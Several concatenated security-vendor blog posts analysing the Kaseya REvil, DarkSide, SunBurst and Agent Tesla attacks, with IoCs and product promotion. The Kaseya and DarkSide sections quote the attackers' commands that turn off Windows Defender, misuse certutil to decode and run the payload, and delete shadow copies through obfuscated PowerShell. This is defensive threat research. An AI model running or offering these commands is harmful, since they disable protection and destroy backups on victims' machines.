Instinct successfully prevents attacks of this nature, detecting and stopping them before they can enter a customers’ environment. Deep Instinct prevents the malicious payloads regardless of the deployment method exploited. Malicious payloads are stopped pre-execution – even when attempting to inject or run the shellcode in memory. Our deep learning framework allows Deep Instinct to prevent &gt;99% of unknown threats. It is also incredibly precise, ensuring false positives remain &lt;0.1%While patching is critical, Deep Instinct is here to prevent unknown threats. We&nbsp;predict&nbsp;security risks others can’t see and&nbsp;prevent&nbsp;threats before they execute in &lt;20ms.If you’d like to learn more about our malware, ransomware, and <a href="https://www.deepinstinct.com/zero-day-attacks" target="_self">zero-day prevention</a> capabilities – including our industry best $3M no-ransomware guarantee – we’d be delighted to&nbsp;<a href="/request-demo/" target="_self">give you a demo.</a> <h5>Indicators of Compromise</h5>SHA256 Values742fd14cd1d53e3bd7a38e7f90956b3dc4185c2a31fccd0afc673cb98bbbefe6- the main executable8f5156a457e287c2c60239d243fa8781fedb69b85b86f15e04b43b96abc53bc4- embedded PE #1 (“DropHell”)eb17d105dd5132ada75485963e6dbb344b0fe3109a9a583cebc0bf1795352185- embedded PE #2&nbsp;1f6aa7ddfc249e7a7f4c9fa2dadee249009f4d20676c3c09effe23dbe81c3be3- the ASPX webshell fileFilenames and PathsshAGEu.aspxC:\ProgramData\ZINGpdILh“/auth/笔/pdILh (virtual path)<h2>Further Reading:</h2><ul><li><a href="https://www.deepinstinct.com/blog/new-fileless-attacks-found-in-event-logs" target="_self">https://www.deepinstinct.com/blog/new-fileless-attacks-found-in-event-logs</a></li></ul>

Do Not Exchange! It has a Shell Inside.

Deconstructing the REvil Ransomware Attack on Kaseya Blog

system-hacked.jpeg

Following on the heels of the SolarWinds SunBurst attack, we’re seeing a new supply chain attack unfolding with Kaseya. This past Friday, the software vendor announced that its <a href="https://www.kaseya.com/products/vsa/">VSA product</a>, which provides clients with remote control access to machines in their networks, had been compromised and used to infect Kaseya clients’ network environments with ransomware. The company advised all of its clients to immediately shut down their VSA servers.Here’s what we know so far: Kaseya VSA was attacked using a currently unpatched zero-day vulnerability within the product. After gaining access to VSA, the attackers created a fake malicious automated update called “Kaseya VSA Agent Hot-fix,” then pushed it to VSA servers in Kaseya’s clients’ networks. Kaseya VSA administrative access was disabled to the compromised servers and the notorious REvil (aka Sodinokibi) ransomware was delivered to other machines in their networks. Making matters worse, some of Kaseya’s customers involved in the attack were Managed Service Providers (MSPs). As a result the attack impacted some of their customers’ networks. Even if these MSP client networks did not have Kaseya VSA they could be infected with the ransomware as well.The fake update, which was automatically installed on all managed systems, delivered a file called “agent.crt” into Kaseya’s temp folder, which by default is “c:\kworking.” Then, a PowerShell command was used to disable many of Microsoft Windows Defender’s features and decode “agent.crt” using the legitimate “certutil.exe,” which extracted “agent.exe” into the same folder.ping 127.0.0.1 -n 4979 &gt; nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% &gt;&gt; C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe The PowerShell command used to disable Microsoft Windows Defender features and decode “agent.crt”“agent.exe” was signed with a “PB03 TRANSPORT LTD” certificate and contained two embedded files – a legitimate Microsoft Windows Defender executable called “MsMpEng.exe” and “mpsvc.dll,” which was the REvil encryptor. The malware then used a method called DLL Side-Loading to make the delivered Windows Defender executable run the ransomware DLL. This tactic was intended to make the encryption process run via legitimate software, whose execution is less likely to raise a red flag.Typically, we see REvil using a method called double extortion to pressure its victims into paying the ransom – infected organizations have their data encrypted but some of it is also stolen prior to the encryption and threats are issued that the data will be made public if the ransom is not paid on time and in full. However, early indications are that the gang chose not to pursue this tactic, choosing instead to encrypt files and delete backups, forcing infected companies to pay a full ransom to recover the files.Scoping the Extent of the DamageKaseya claims that fewer than 40 of its clients were affected by the attack, but considering that many of its clients are MSPs with multiple clients of their own, it is difficult at this stage to determine the extent of the damage (it is likely far more extensive than what is being presently reported). As of now, it is estimated that 20 of Kaseya’s MSP clients were infested with REvil, and the number of affected organizations is at least 200, but may soon reach into the thousands as more companies reveal that they were hit.One of the first companies to disclose that it had been impacted was the Swedish supermarket chain Coop, whose cash registers and self-service checkouts could not be used as a result of the REvil infestation in their network, forcing them to close 800 stores until further notice. It is important to note that Coop is not a Kaseya VSA client; the chain was infected because Visma, the Swedish MSP that manages its payment systems, is a Kaseya client and got compromised as a result of the breach. This attack is already showing the wider implications of any ransomware attack – while it may initially have one target, the infection can quickly spread to connected organizations and networks if the proper detection and prevention tools are not in place to thwart infection.ConclusionAs of now, there is no patch for the VSA security hole, and Kaseya clients are advised to keep their VSA servers shut down in order to stop further infections.Taking a prevention-first approach is the best deterrent to ransomware. At Deep Instinct, we detect and prevent both known and zero-day ransomware in pre-execution, stopping it before it can infect files.If you’d like to learn more about our industry-leading approach to stopping ransomware, backed by a $3M guarantee, please download our new eBook, <a href="https://info.deepinstinct.com/tof/ransomware-prevention?_ga=2.99070299.453200457.1622600658-1453025447.1612830865">Ransomware: Why Prevention is better than the Cure</a>. Or speak with a sales representative today and we can prove our no-ransomware promise with a <a href="/request-demo/" target="_self">demo</a>.Indicators of Compromise d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e - agent.exe df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e - agent.exe dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f - agent.exe aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7 - agent.exe 66490c59cb9630b53fa3fa7125b5c9511afde38edab4459065938c1974229ca8 - agent.exe 81d0c71f8b282076cd93fb6bb5bfd3932422d033109e2c92572fc49e4abc2471 - agent.exe 1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e - agent.exe 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd - mpsvc.dll e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 - mpsvc.dll d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20 - mpsvc.dll d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f - mpsvc.dll cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6 - mpsvc.dll 0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402 - mpsvc.dll 8e846ed965bbc0270a6f58c5818e039ef2fb78def4d2bf82348ca786ea0cea4f - mpsvc.dllIf you’re a partner, check out additional details <a href="https://portal.deepinstinct.com/articles/PartnerNews/Deep-Instinct-Prevents-Against-RMM-1-2-7-2021">here</a>. If you’re a MSSP, check out additional details <a href="https://portal.deepinstinct.com/articles/MSSPUpdates/Deep-Instinct-Prevents-Against-RMM-2-7-2021">here</a>.

Deconstructing the REvil Ransomware Attack on Kaseya VSA

are-you-at-risk-of-a-ransomware-attack.png

By now most of you should be familiar with the Colonial Pipeline ransomware incident that shut down a mission-critical U.S. fuel pipeline. The breach and subsequent disruption of services took the company offline for days and a <a href="https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636">$4.4M ransom</a> was paid.Ransomware has been gaining attention both in the U.S. and around the world not only because of the severe business impact an attack can have on target companies, but also because the frequency and significance of these attacks are growing in scope and scale.In this post we will provide context into the DarkSide attack.DarkSide Ransomware-as-a-Service (RaaS) Takes Center StageDarkSide has been observed in more than 15 countries since first being spotted in the wild in August 2020. DarkSide, sold using the nickname “Darksupp,” is part of a disturbing – and growing – trend called Ransomware-as-a-Service (RaaS) where ransomware is sold on darknet sites. DarkSide itself was listed on Russian darknet forums exploit.in and xss.is. RaaS has been gaining momentum for the past several years with some of the most prolific ransomware attacks, including Satan, stemming from similar origins.In this RaaS model, buyers or “affiliates,” are provided an interface from which they can costume their own DarkSide variant, manage victims, and write content for the DarkSide blog, where victim information and data is published and where affiliates can pressure for payment. In exchange, affiliates give the malware creators a stake of the ransom payment, which varies in percentage based on the ransom request amount.In reported attack scenarios, threat actors, which could be affiliates or the creators of DarkSide themselves, infiltrated an organization using various methods, including exploiting known organizational VPN vulnerabilities and using legitimate user credentials. Once the exploit has taken place, the DarkSide payload is downloaded and copied into different locations on local and network drives. Once the victim, patient zero, has been fully infected, the threat actors set off on their quest to find the network’s holy grail – the <a href="https://en.wikipedia.org/wiki/Domain_controller">Domain Controller (DC</a>). If they successfully reach their destination, the attackers then collect more sensitive information and files. They could also dump the <a href="https://en.wikipedia.org/wiki/Security_Account_Manager">SAM registry hive</a>, to extract passwords.When the exfiltration is completed, the DC is infected with the malware, as well as the associated network. The malicious actors can then use it later in the attack to infect other targets in the network. Finally, an execution mechanism, such as Windows Scheduled Task, runs the ransomware payload, which will be discussed in length later in this post.Victims are informed of the attack by a ransom note, which is typically placed on the desktop and in affected folders. If victim companies refuse to pay the ransom their data remains encrypted and the attackers may make stolen artifacts available for public access.Bringing DarkSide into the Light – The Colonial Pipeline Attack and its ConsequencesOn May 7, 2021, the Colonial Pipeline Company was attacked by DarkSide. The pipeline the company operates (of the same name) carries 45 percent of the fuel used to supply the U.S. East Coast, so any disruption of this pipeline will invariably cause fuel and supply chain problems. The brunt of the attack impacted the company’s data systems, but Colonial Pipeline chose to disable the operational technology systems as well to mitigate any larger damage or disruption – a decision which created its own set of compounding challenges. This decision may not have been taken if the company had a network isolation solution it could count on to prevent the ransomware from reaching the operational systems. Not only did this threaten the supply of fuel and gasoline to the most populous region of the U.S., but it also led to immediate gas shortages, long gas station lines, panic, and price hikes.On the same day of the attack, Colonial Pipeline Company, which is a private company, chose to pay the ransom, about $4.4 million USD in Bitcoin, despite the FBI’s discouragement to do so (the logic being that large ransomware payments only incentivize more ransomware attacks and larger ransomware payouts).On May 12, five days following the attack, the company successfully brought the pipeline back online, with normal activity resuming in the following days.But the fallout from this attack will likely last much longer.Given the high-profile nature of this attack, and the chain reaction it had on gas supply, business operations, consumer confidence, and the larger, interconnected supply chain, ransomware has gained the attention of business executives and the U.S. government alike. In the days following the attack, DarkSide became an immediate target of U.S. President Biden and the DarkSide website was shut down in short order. Fearing further repercussions and investigation, DarkSide and other ransomware groups, including Babuk, which had attacked the Washington D.C. police department in the same month, announced their dissolution later that week.An Analysis of a DarkSide SampleDarkSide RaaS models provide affiliates with an infrastructure from which they can create their own ransomware builds and lead attacks at their own discretion. Using this console, affiliates can decide how their variant will act by choosing the encryption mode, deciding whether a language check will be performed to determine if the victim is from a CIS country, disabling or enabling network drives encryption, shadow copies deletion, and more.The analyzed sample, which is referred to in this section, unless specified otherwise, has a SHA256 value of 6931b124d38d52bd7cdef48121fda457d407b63b59bb4e6ead4ce548f4bbb971.When this DarkSide variant runs, it creates a file in which it logs its actions in the directory it runs from called LOG.victim_extension.TXT. The “victim_extension” is an 8-character pseudo-random string that DarkSide variants generate and use as the extension for encrypted files on infected machines. This string is also used in the names of the ransom and log files.<img asset_uid="bltc1daf54abb8583c2" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltc1daf54abb8583c2/61b3924b005cf21f3b8ad017/ransomeware-darkside-blog-1.png" height="auto"/>Figure 1: DarkSide's log fileAs can be seen in the above image, before starting the encryption, DarkSide took some measures to ensure the encrypted files could not be replaced by local backups – it uninstalled backup services, terminated certain processes that had handles on files it wished to encrypt, emptied the recycle bin, and for the final nail in the coffin, deleted the shadow copies using the following PowerShell command:powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"Variable “s” contained the following: Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}Next, DarkSide began encrypting all the files on the file system, except those which resided in certain directories, such as “Windows,” “ProgramData,” and “AppData,” were of specified types, for example: “exe,” “bat,” and “bin,” or had one of a set of names to ignore, such as “thumbs.db” and “netuser.dat.”The following ransom note was dropped in all the directories the ransomware had visited:<img asset_uid="blt07f4979087a99376" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt07f4979087a99376/61b3924b6527b2206338d033/ransomeware-darkside-blog-2.png" height="auto" width="705" max-width="705"/>Figure 2: DarkSide's ransom noteAs previously mentioned, DarkSide’s website had been taken down, therefore the automatically generated URLs did not lead to any page and no data was actually exfiltrated. In any case, even if the servers were still up, 100GB of data could not have been stolen, since the used file system did not contain this amount of data and no attempts to connect to a remote server were observed during the analysis. It is safe to say this number is fixed, at least per variant (other analyzed samples mentioned different amounts of stolen data, such as 400GB), and cannot be counted on to estimate the amount of stolen data.Deep Instinct vs DarkSideDeep Instinct’s endpoint solution prevents DarkSide variants execution both statically, via our deep learning brain, and dynamically via our behavioral analysis mechanisms. As such, Deep Instinct offers the world’s most advanced prevention against all known and unknown ransomware attacks.<img asset_uid="bltb0fd302ca64276c7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb0fd302ca64276c7/61b3924b3848b96d45544233/ransomeware-darkside-blog-3.png" height="auto" width="649" max-width="649"/>Figure 3: static prevention event on DarkSide<img asset_uid="blt6ed0484da34784ca" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt6ed0484da34784ca/61b3924bb9cabc6d40adc8d1/ransomeware-darkside-blog-4.png" height="auto" width="657" max-width="657"/> Figure 4: the PowerShell command used to delete shadow copies was identified as malicious and prevented.<img asset_uid="blt777d523a978f76f7" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt777d523a978f76f7/61b392657c125a69ccdb8457/ransomeware-darkside-blog-5.png" height="auto" width="657" max-width="657"/>Figure 5: DarkSide was prevented due to identified ransomware behavior, before any file was encrypted.ConclusionRaaS-based attacks are far from over. As the technology and the expertise of lone hackers or larger syndicates grow in sophistication, we are likely to see more diverse and sinister ransomware attacks. And their profile companies could move upstream, impacting global brands with larger purses from which to pay ransoms.But there is a solution to ransomware – using Deep Instinct to predict and prevent ransomware, stopping it before it can impact your system and operations. DarkSide has left a permanent mark on Colonial Pipeline Company and cost it dearly in revenue and reputation. Invest in your security posture and better prepare your network defense to prevent ransomware.If you’d like to learn more about our industry-leading approach to stopping malware, backed by a $3M guarantee, please download our new eBook, <a href="https://info.deepinstinct.com/tof/ransomware-prevention?_ga=2.99070299.453200457.1622600658-1453025447.1612830865">Ransomware: Why Prevention is better than the Cure</a>.

The Ransomware Conundrum – A Look into DarkSide

The SunBurst trojan was first reported on December 8th, 2020, and has been making headlines ever since. The Sunburst malware is significant both for i

sunburst-malware.png

The <a href="https://www.deepinstinct.com/2020/12/16/sunburst-trojan-what-you-need-to-know/">SunBurst trojan</a> was first reported on December 8th, 2020, and has been making headlines ever since. The Sunburst malware is significant both for its strategic and highly developed malicious logic and for its many targeted high-profile victims.
Reminiscent of the Duqu 2.0 nation-state attack in 2015, which successfully infiltrated Kaspersky, the sophistication of the Sunburst attack is indicative of a nation-state group that is sufficiently well-resourced to conduct the in-depth research and development that it would have necessitated. This is evident in the identification of Orion as a prime target to host a backdoor and the many other multiple evasion techniques that successfully avoided its detection for months in 2020.
Orion, the SolarWinds product that was compromised, was used by about 33,000 public and private sector customers, many of which were Fortune 500 companies and federal government agencies. This entailed the compromised data of many millions of their respective customers causing the event to be of wide public interest.
This post will provide a more elaborate description of the attack flow, as well as additional details about new developments in the battle against SunBurst.
<h3>The Attack Flow</h3>
The attackers had silently compromised the SolarWinds’ software development framework/infrastructure used for building Orion’s software updates allowing the adversaries to patch the update packages, specifically its component “SolarWinds.Orion.Core.BusinessLayer.dll”.
Like other updates, the infected Orion Windows Installer patches were available to users for download on SolarWind’s official website.
Once an infected patch installer was executed, the patch’s intended legitimate functionality took place, but the attacker’s code did as well. When the infected DLL was called, the malicious code inserted into it by the threat actors made sure that the SunBurst backdoor would be executed each time the legitimate task was run.
In the short term, the backdoor stayed dormant for 12 to 14 days. Each time the recurring task executed it, it checked if the specified period had passed, and if not- it didn’t execute the malicious part.
Once the time threshold passed, the backdoor-related code ran a series of tests, including comparing the list of running processes against encoded blacklists of security analysis and antivirus related process names, driver paths, and services. If one of the blacklisted processes was running, there would be an attempt to disable it and restart the SunBurst backdoor malware.
If the system passed all the pre-execution tests, the malware would gather information about its execution environment and the domain it resided in and send this information to its command and control (C&amp;C) server. The data was sent to a URL, which was unique per user, as it contained the encoded name of the infected machine’s domain. The URL was a subdomain of avsvmcloud[.]com. SunBurst also checked the IP returned for the requested domain, and if it was in a certain range, the malware terminated itself and made sure that no further executions would take place.
Using the C&amp;C servers, attackers could reply to the end-user malware with commands to execute on the victim machine. If they found a certain domain to be particularly interesting, they would order the backdoor to connect to a different C&amp;C server, from which additional commands could be executed and more malware samples could be downloaded.
<h3>Evasion Mechanisms</h3>
The attackers had put a lot of thought into how to evade detection and since it took months to discover their activities, their efforts clearly paid off. Besides staying dormant for 12 to 14 days and refraining from performing malicious activities while certain security processes were running, the malware set hostnames on its C&amp;C infrastructure to match legitimate hostnames from the victim's environment. This enabled the malware to more effectively blend in the environment and avoid suspicion that could have alerted security analysts if they used different hostnames. Moreover, SunBusrt’s network activity was made to look like it came from the Orion Improvement Program (OIP) protocol and the malware stored reconnaissance information within legitimate plugin configuration files, so it could blend in with legitimate SolarWinds activity. The attackers also used IP addresses from the same country as the victim, using Virtual Private Servers, as out-of-country IPs could arouse suspicion.
<h3>Microsoft vs. SunBurst</h3>
Since the attack was first reported, Microsoft has taken substantial measures against the malware and has played an important part in the effort to neutralize it. First, the company removed the digital certificate used to sign the compromised DLL, meaning Windows systems no longer immediately trust this DLL, which is intended to cause some of its executions to fail. Next, Windows Defender was set to detect the malware and alert its presence in a compromised machine.
On December 15th, Microsoft and partners took legal action against the attackers and sinkholed the domain "avsvmcloud[.]com", which was used as the malware's C&amp;C server. The domain now redirects to an IP controlled by Microsoft, which, alongside its partners, monitors the IP for incoming connections, and then informs compromised organizations about the breach.
As mentioned earlier, the end-user backdoor checks the returned IP for the C&amp;C domain and if it is in a certain range, a “kill switch” is activated- the malware terminates itself and any plans for further execution of it are canceled. Knowing that Microsoft set the IP returned for the C&amp;C domain to one that will turn this “kill switch” on. However, FireEye warned that in cases it investigated, attackers had established additional persistent mechanisms, which were left unaffected by this action. Their investigation showed the attackers still have a way to connect to victim machines without this backdoor.
If that wasn’t enough, on December 16th, Microsoft changed Windows Defender’s approach towards SunBurst from "Alert" to "Quarantine".
<h3>A New Malware</h3>
The attack’s complexity, significance, and publicity caused many to try to analyze it. In the past few days, it was reported that a new backdoor, dubbed “Supernova”, was discovered while analyzing samples of the compromised Orion software. Similar to “SunBurst”, “Supernova” is a backdoor made to be used as a persistence mechanism. The newly discovered malware is file-less – it is compiled and executed in memory, which makes it hard to detect by security products. At this point, not many details are known about “Supernova”, but it is believed to be a part of an attack unrelated to “SunBurst”, since unlike the DLL used to deliver the latter, the DLL used to deliver the former is not signed with a legitimate SolarWinds certificate.
<h3>More Victims</h3>
Recently, more organizations confirmed that they were compromised by “SunBurst”. On December 17th, the FBI, DHS-CISA, and the Office of the Director of National Intelligence (ODNI) confirmed in a joint statement, that the backdoor had affected US federal government networks. On December 21st, VMWare confirmed that its network was also compromised by the attack, but claimed that the attackers did not use their access to the network for any additional malicious purposes. Microsoft also confirmed that it found variants of the backdoor in its network, however, the company claimed that there is no evidence that attackers had accessed any customer data or compromised any of its products.
As was mentioned earlier, SunBurst backdoors connected to unique URLs, in which the domain names that they had infiltrated into were encoded. By decoding a list of subdomains generated by the malware, researchers were able to find names of well-known organizations, some of which have yet to disclose if the supply chain attack affected them. These names include Cisco, Intel, and Mediatek.
<a href="https://www.deepinstinct.com/" target="_blank" rel="noopener noreferrer">Deep Instinct</a> is on the alert for any new developments and does everything in its power to ensure our customers are protected from any malicious file that may try to compromise their systems. We are focused on expanding and monitoring all relevant IoCs and making sure Deep Instinct’s advanced <a href="https://www.deepinstinct.com/endpoint-protection/" target="_blank" rel="noopener noreferrer">endpoint protection solution</a> protects against them.

Why the Sunburst Malware Was So Unique and What We've Learnt From it

On December 8th, the security company FireEye disclosed that it had been breached by an advanced, supposedly nation state-backed, attack group, and as

Solar-burst.png

On December 8th, the security company <a href="https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html" target="_blank" rel="noopener noreferrer">FireEye disclosed</a> that it had been breached by an advanced, supposedly nation state-backed, attack group, and as a result- tools developed and used by the company’s red teams were stolen.
It was later disclosed that the attackers were able to infiltrate FireEye’s network by infecting updates of a popular IT infrastructure management software named Orion, with their malware. Orion is a SolarWinds product, used by many organizations, including many Fortune 500 companies and the US Treasury Department, which was affected by the campaign.
The malware is believed to had been distributed in Spring 2020, compromised Orion versions 2019.4 HF 5 to 2020.2.1, and most likely resided in breached networks for months without being detected.
The trojanized updates delivered a backdoor, dubbed “<a href="https://www.deepinstinct.com/2020/12/28/why-the-sunburst-malware-was-so-unique-and-what-weve-learnt-from-it/" target="_blank" rel="noopener noreferrer">SunBurst</a>” by FireEye and “Solorigate” by Microsoft, that allowed the attackers to steal data, which is assumed to be the attack’s primary goal. To avoid detection, the attackers had limited the malware’s capabilities, tracked security software installed, and put a lot of effort into making SunBurst’s network activity look normal. The breadth, sophistication, and scope of the attack indeed indicate it was perpetrated by an advanced threat actor with ample, state-level resources and motivation.
Although the attackers had likely planned for their actions to be hard to attribute to any specific attack group, many in the cybersecurity and intelligence communities believe that the attack group APT 29, aka “Cozy Bear”, was behind these attacks. The Russian Embassy in the USA denied this accusation.
The story of “SunBurst” trojan is still unfolding, and more chapters will probably be added to it in the upcoming weeks. It’s likely that more organizations, that were compromised by the malware, will realize it and publicly disclose this information, as well as the effect it has on their clients or others. The large interest in the attack and its scale will probably result in the release of more technical details and behavioral evidence, as many in the cybersecurity field investigate the attack and analyze the malware samples.
<h3>Putting Out the Fire</h3>
As mentioned earlier, the attackers stole tools developed by FireEye’s red team, to test their customers’ security. These tools can be used dually for malicious purposes as well, so knowing that they are in the wrong hands, FireEye released rules and IoCs, that can help security vendors detect and prevent the use of the stolen tools in the networks they are entrusted with.
Moreover, SolarWinds released an update and urged its customers to install it, so it could replace the compromised versions. We call on our customers and partners to update SolarWinds software where applicable.
As one of the leading <a href="https://www.deepinstinct.com/about-us/">cybersecurity companies</a> today, Deep Instinct is always on the alert for new attacks of this kind and does everything in its power to ensure our customers are protected from any threat they might face. We are focused on expanding and monitoring all relevant IoCs and making sure <a href="https://www.deepinstinct.com/product-overview/" target="_blank" rel="noopener noreferrer">Deep Instinct’s cybersecurity product</a> line protects against them.

SunBurst Trojan -What You Need to Know

Earlier this week, we stumbled across a new malware sample in one of our production sites, that caught our attention. During our analysis, we came to 

hastyagent.jpg

Earlier this week, we stumbled across a new malware sample in one of our production sites, that caught our attention. During our analysis, we came to the conclusion that we were dealing with a new Agent Tesla variant, that is loaded from a pastebin service which hadn’t been seen in use by prominent malware families in the past, “hastebin.com”.
<h3 class="MsoNormal">Background</h3>
Pastebins 
A Pastebin is an online content storage site that allows users to store plain texts, from source codes to grocery lists. Paste sites have been around since the 1990s, when “pastebin.com” was founded, and have been in use ever since. Like with anything popular, malware authors chose to take advantage of these services to store their own data, such as source codes and stolen information.  Different paste services sometimes operate differently from one another- some offer features like protecting pastes with passwords or “burning” them after they are read. Some offer APIs to make it easy to transfer code from a console into a paste site. Others enforce different policies regarding types of content that are not allowed, for example- stolen user credentials, and policies regarding pastes’ “life expectancy”, meaning for how long a paste page will stay up.
One of these services is “hastebin.com”, a simple paste service, that can also work from a console using an API. Recently, this domain, which hasn’t previously been known to host malware families, was observed by Deep Instinct’s Threat Intelligence team to host new Agent Tesla payloads.
Agent Tesla
<a href="https://www.deepinstinct.com/2020/07/02/agent-tesla-a-lesson-in-how-complexity-gets-you-under-the-radar/" target="_blank" rel="noopener noreferrer">Agent Tesla</a> is infamous spyware with extensive data harvesting and keylogging capabilities. It has been active since 2014 and is marketed in dark-web forums as a commercial project, to which subscription licenses can be bought on the malware’s official website. Throughout the years, tweaks and changes have been made to maintain the malware’s evasiveness from new security measurements and to help it remain one of the most common malware in the wild.
<h3 class="MsoNormal">The New Sample</h3>
The Loader
Infection Vector
As with most malware campaigns, the attack most likely started with the attackers going phishing. One of the samples’ names, which we found on its Virus Total page, was “PACKING LIST - TJ20070006 CHINA-pdf.exe”. The name, the fact that many users don’t turn off the default option “Hide extensions for known file types” and the executable’s logo (which appears to be a page from a document), all suggest that the sample was made to appear far more benign. In this case as a PDF that lists recommendations for packing supplies when traveling to China, and was probably accompanied by a suitable text when delivered to potential victims.
<img class="alignnone wp-image-9481 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltddc94746e7bed267/611a7a41694dc11677704efd/packing-list.png" alt="" width="91" height="113" />
Loading the Payload
Once an unsuspecting user opens the file, it connects to pastes hosted on “hastebins.com”, from which it gets the Agent Tesla payload, which it then runs. The loader also tries to connect to two “pastebin.com” paste pages, but they have been down since the beginning of the month because they were identified as malicious.
Once Agent Tesla is loaded and ready, the fun part begins.
The Payload
The malware uses a few copies of itself, as well as conhost, PowerShell, and Chrome to perform all its tasks. It even uses timeout.exe to time some of the activities.
Evasion Techniques
Unsurprisingly, one of the sample’s first actions is to detect if it’s running in a virtual environment. It does this with the use of WMI commands that help it query the system for network and BIOS details. For example, it uses Win32_BaseBoard to check if there’s a VM related key. In the screenshot below, the product key’s value is “440BX Desktop Reference Platform”, which refers to a motherboard model used by VMware- “Intel Corporation 440BX Desktop Reference Platform”.  
 <img class="alignnone wp-image-9477 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/blt925bfe671edaeb29/611a7a42d579ec165f22abe1/44OBX.png" alt="" width="391" height="135" />
Agent Tesla also checks for the presence of Wine APIs and the Sandboxie DLL “SBIEDLL.DLL”. If the sample’s suspicions are proven right- it will avoid performing any more malicious activities. 
To keep protecting itself from analysis, even while running, the spyware hides its threads from the debugger. It also uses PowerShell to prevent the loader from being scanned by Windows Defender, using the command “Add-MpPreference”. The malware also uses the parameter ‘Force’, as can be seen below, to avoid prompting a warning that the user needs to sign off on in order to add the exclusion.
<img class="alignnone wp-image-9479 size-full" src="https://images.contentstack.io/v3/assets/blt1ec077b6b53d6b3e/bltb4e82d65c5aec664/611a7a414e0dde165f2f88e5/Add-MpPreference.png" alt="" width="976" height="35" />
Persistence
If the malicious logic concludes that it isn’t being analyzed, it ensures the loader’s persistence by copying it (“qsavjmf9A0.exe”) into the startup folder “C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” and adding it to the uncommonly used registry key “HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell”.  The payload also creates two keys under “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” – “&lt;Unknown&gt;” and “qsavjmf9A0.exe”, both, as well as the previously mentioned key, point to the sample’s initial location, e.g. "C:\Users\username\Downloads".
Credential Harvesting
Its persistence and evasion are nice features, but the point of the infection is stealing data, which is what this spyware is all about. The sample tries to harvest credentials from web browsers, specifically from their cookies and login files, for example- “C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Login Data” and “C:\Users\username\AppData\Roaming\Mozilla\Firefox\Profiles\qkye9m34.default\cookies.sqlite”.
It also tries to steal mail credentials from services like “Microsoft Outlook”, “Thunderbird” and even the recently shutdown “IncrediMail”. The attempts take place both in the file system and in the registry. If that wasn’t enough, the greedy malware also tries to obtain WinSCP session credentials from “HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions” and installs a keyboard hook to capture keystrokes.
The gathered loot is sent via SMTP (port 857) to “smtp.privateemail.com”, which translates into “199.193.7.228”.
<h3 class="MsoNormal" style="text-align: justify;">The Use of “hastebin.com”</h3>
As mentioned earlier, the Agent Tesla payload is loaded from “hastebin.com”. This provides the malware capabilities that otherwise may have been more difficult to implement. The use of a remote payload may decrease the chances of the malware being caught by certain security products, which will perform a static analysis only on the loader, that doesn’t have many malicious capabilities of its own. Moreover, “hastebin.com” provides an easy-to-use API, that lets attackers post their malware from the comfort of their own console and since it’s less popular among malware families- it may be deemed as less suspicious.
The service is also less supervised than other paste sites, like “pastebin.com”, which has a security team that works to detect malicious pastes and take them down. The Agent Tesla sample, mentioned earlier, was taken down by this team.
“hastebin.com” has been up for over eight years, but in July 2019, its popularity increased to 300 hits a day, predominantly, but not exclusively, from the US. Other hits came from various countries, including the UK, India, Germany and Spain.
<h3 class="MsoNormal">Conclusion</h3>
If a prominent malware family such as Agent Tesla is hosted on and deployed from “hastebin.com”, others may follow suit and do the same, especially since the service is easy to use and offers some advantages.
Deep Instinct’s customers are protected from Agent Tesla thanks to our product’s deep learning-based protection.
&nbsp;
&nbsp;
IoCs
The Analyzed Loader- SHA256
01fa75f6d9aace12a225c5cb93c306b22968f6ba44a431595fbee38cab275179
Similar Samples- SHA256
2adb3505038e73bc83e5c5d9a60b725645fb65a7b0a781a5aadde50c942d13dc
378911a0ffd090bc26b1bb981abe1c5bb8dec098e3138ef0b9a7f1ce88747fbd
d5bb27d8c7efd36c62458d3dfca74de7c517108e32bf8c1bc68c8152a351003f
“hastebin.com” Contacted Pastes
